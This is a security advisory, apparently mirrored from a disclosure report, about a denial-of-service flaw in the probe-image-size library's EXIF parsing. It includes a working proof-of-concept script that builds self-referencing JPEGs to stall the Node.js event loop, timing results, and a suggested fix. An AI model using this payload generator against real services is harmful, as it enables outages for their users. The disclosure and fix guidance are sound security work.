
Cloud Vulnerability DB
A community-led vulnerabilities database
Filed here at the maintainer's request, in reply to our email of 2026-10-21: one GitHub report per issue. This is one of four separate reports split out of that email, and it stands alone. Found with AploSec, our security scanner, and confirmed by execution.
A 9.6 KB JPEG whose EXIF IFD points back at itself through many sub-IFD tags makes probe.sync block the event loop for about 23 seconds. The cost grows about 15x each time the entry count doubles. The same code runs for probe(stream) and probe(url).
lib/exif_utils.js:212. While looking for the orientation tag, entries with tag 0x8769 (ExifIFD pointer) and 0xA005 (InteropIFD pointer) are queued and followed without remembering which IFD offsets were already visited. An IFD with a entries of one kind and b of the other, all pointing at the IFD's own offset, costs about a*b*(a+b) entry reads and keeps growing the job queue. There is no tag 0x112 (orientation) in the file, so the early exit never triggers.
Reachable through the JPEG APP1 Exif path in probe.sync, probe(stream) and probe(url). The WebP and AVIF EXIF paths call the same get_orientation.
Attacker model: remote and unauthenticated. The attacker only needs to supply image bytes or an image URL to a service that calls probe-image-size (upload handlers, URL unfurling, image proxies).
poc3.js (7.4.0 at probe-image-size, 7.3.0 at ./old/node_modules/probe-image-size):
// EXIF sub-IFD fan-out: a x tag0x8769 + b x tag0xA005 entries, all pointing at the IFD itself (offset 8)
const probe = require('probe-image-size'), OLD = require('./old/node_modules/probe-image-size')
function tiff (a, b, benign) {
const n = a + b, buf = Buffer.alloc(8 + 2 + 12 * n + 4)
buf.write('II*\0', 0, 'latin1'); buf.writeUInt32LE(8, 4); buf.writeUInt16LE(n, 8)
for (let i = 0; i < n; i++) {
const o = 10 + 12 * i
buf.writeUInt16LE(benign ? 0x0100 : (i < a ? 0x8769 : 0xA005), o) // benign: plain tag (ImageWidth), not a link
buf.writeUInt16LE(4, o + 2); buf.writeUInt32LE(1, o + 4); buf.writeUInt32LE(8, o + 8)
}
return buf
}
function jpeg (t) {
const app1 = Buffer.concat([Buffer.from('Exif\0\0', 'latin1'), t])
const l = Buffer.alloc(2); l.writeUInt16BE(app1.length + 2)
const sof = Buffer.from([0xFF, 0xC0, 0, 11, 8, 0, 1, 0, 1, 1, 1, 0x11, 0])
return Buffer.concat([Buffer.from([0xFF, 0xD8, 0xFF, 0xE1]), l, app1, sof])
}
for (const n of [100, 200, 400, 800]) {
const atk = jpeg(tiff(n / 2, n / 2, false)), ctl = jpeg(tiff(n / 2, n / 2, true))
let s = process.hrtime.bigint(); const r1 = probe.sync(ctl); const tc = Number(process.hrtime.bigint() - s) / 1e6
s = process.hrtime.bigint(); const r2 = probe.sync(atk); const ta = Number(process.hrtime.bigint() - s) / 1e6
s = process.hrtime.bigint(); OLD.sync(atk); const to = Number(process.hrtime.bigint() - s) / 1e6
console.log(`entries=${n} jpeg=${atk.length}B control=${tc.toFixed(1)}ms attack(7.4.0)=${ta.toFixed(0)}ms attack(7.3.0)=${to.toFixed(0)}ms dims=${r2 && r2.width}x${r2 && r2.height}`)
}Test environment: Docker node:22-slim (Node 22.23.4), npm i probe-image-size@7.4.0 (and 7.3.0 in ./old where noted), runs with docker run --rm --network none.
Control: the same JPEG with the same number of entries, but using the plain tag 0x0100 (ImageWidth) instead of the two link tags. It parses in 0.1 to 1.1 ms at every size, so the slowdown comes from following the links and not from the entry count.
Results:
entries=100 jpeg=1239B control=1.1ms attack(7.4.0)=26ms attack(7.3.0)=27ms dims=1x1
entries=200 jpeg=2439B control=0.1ms attack(7.4.0)=131ms attack(7.3.0)=130ms dims=1x1
entries=400 jpeg=4839B control=0.2ms attack(7.4.0)=2038ms attack(7.3.0)=1841ms dims=1x1
entries=800 jpeg=9639B control=0.1ms attack(7.4.0)=23128ms attack(7.3.0)=23039ms dims=1x1A full-size APP1 segment holds about 5,400 entries, which extrapolates to hours. I did not run sizes above 800 entries (1,600 entries exceeded my time budget).
Denial of service. One small image pins the Node.js event loop, so a single request stalls every other request the process is serving, and a handful of requests take the service down. Memory also grows with the job queue. No authentication or user interaction is needed.
Keep a set of visited IFD offsets and skip offsets already seen, and cap the total number of IFDs or entries processed per image. Zachariah Mithani (zachariah@aplosai.com) AploSec (aplosec.si) Credit: Zachariah Mithani (@zachariah-mithani, AploSec)
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."